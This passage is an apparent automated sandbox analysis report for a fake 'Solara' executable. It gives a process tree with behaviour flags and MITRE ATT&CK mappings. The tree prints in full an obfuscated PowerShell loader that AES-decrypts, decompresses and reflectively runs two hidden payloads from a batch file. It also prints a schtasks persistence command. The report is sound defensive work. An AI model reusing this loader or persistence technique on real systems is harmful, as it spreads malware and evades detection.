        PID:1976
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_495.bat" "
        6⤵
        
        PID:2396
        
        C:\Windows\SysWOW64\net.exe
        
        net file
        7⤵
        
        PID:2416
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 file
        8⤵
        
        PID:3008
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('71KXTODyBb0gibr8qsjkumj3sQn9luYIOlnzqcfs9v8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('K6cn/xxQL9HV65ZFEfIzmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $grdGu=New-Object System.IO.MemoryStream(,$param_var); $BLoFB=New-Object System.IO.MemoryStream; $ZKfJA=New-Object System.IO.Compression.GZipStream($grdGu, [IO.Compression.CompressionMode]::Decompress); $ZKfJA.CopyTo($BLoFB); $ZKfJA.Dispose(); $grdGu.Dispose(); $BLoFB.Dispose(); $BLoFB.ToArray();}function execute_function($param_var,$param2_var){ $bPSKR=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $CcfCi=$bPSKR.EntryPoint; $CcfCi.Invoke($null, $param2_var);}$OmsUx = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_495.bat';$host.UI.RawUI.WindowTitle = $OmsUx;$KUySx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($OmsUx).Split([Environment]::NewLine);foreach ($QLXjt in $KUySx) { if ($QLXjt.StartsWith('TLeupgMwlstDjFftnaDp')) { $HgjhD=$QLXjt.Substring(20); break; }}$payloads_var=[string[]]$HgjhD.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        7⤵
        
        PID:1616
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        7⤵
        Blocklisted process makes network request
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        
        PID:3004
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "PowerShell" /tr "C:\Users\Admin\PowerShell.exe"
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:404
- - C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe
    "C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4164
  - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --no-default-browser-check --disable-component-extensions-with-background-pages --no-first-run --disable-default-apps --noerrdialogs --embedded-browser-webview-dpi-awareness=1 --disable-popup-blocking --internet-explorer-integration=none --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc" --mojo-named-platform-channel-pipe=4164.2364.9551151329267027776
      4⤵
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3168
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=90.0.818.66 --initial-client-data=0x104,0x108,0x10c,0xe0,0x1b4,0x7ffd44833cb8,0x7ffd44833cc8,0x7ffd44833cd8
        5⤵
        
        PID:804
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=gpu-process --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1908 /prefetch:2
        5⤵
        
        PID:5040
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --mojo-platform-channel-handle=2016 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4788
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --mojo-platform-channel-handle=2468 /prefetch:8
        5⤵
        
        PID:4104
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=renderer --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc" --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --lang=en-US --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
        5⤵
        
        PID:1400
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --mojo-platform-channel-handle=4300 /prefetch:8
        5⤵
        
        PID:4720
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --mojo-platform-channel-handle=4800 /prefetch:8
        5⤵
        
        PID:2988
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --mojo-platform-channel-handle=3208 /prefetch:8
        5⤵
        
        PID:1408
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --mojo-platform-channel-handle=5072 /prefetch:8
        5⤵
        
        PID:3144
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=gpu-process --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=880 /prefetch:2
        5⤵
        
        PID:2828
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --mojo-platform-channel-handle=5356 /prefetch:8
        5⤵
        
        PID:1500
    - - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\90.0.818.66\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1888,7579834958215229683,189505376217455733,131072 --enable-features=ForwardMemoryPressureEventsToGpuProcess,UseSwapChainsInSoftware --disable-features=FilterAdsOnAbusiveSites,SpareRendererForSitePerProcess,WebPayments,msApplicationGuard,msAutomaticTabFreeze,msBrowserSettingsSupported,msEdgeFaviconService,msEdgeLinkDoctor,msEdgeMGPFrev1,msEdgeOnRampFRE,msEdgeOnRampImport,msEdgeReadingView,msEdgeSettingsImport,msEdgeSettingsImportV2,msEdgeShoppingUI,msEdgeTranslate,msEdgeUseCaptivePortalService,msImplicitSignin,msPasswordBreachDetection,msReadAloud,msRevokeExtensions,msSendClientDataHeader,msSendClientDataHeaderToEdgeServices,msSyncEdgeCollections,msUseLabelingService,msWebAssistHistorySearch --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe.WebView2\EBWebView" --webview-exe-name=cd57e4c171d6e8f5ea8b8f824a6a7316.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=1 --mojo-platform-channel-handle=4756 /prefetch:8
        5⤵
        
        PID:492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:4372

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:1544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

System Information Discovery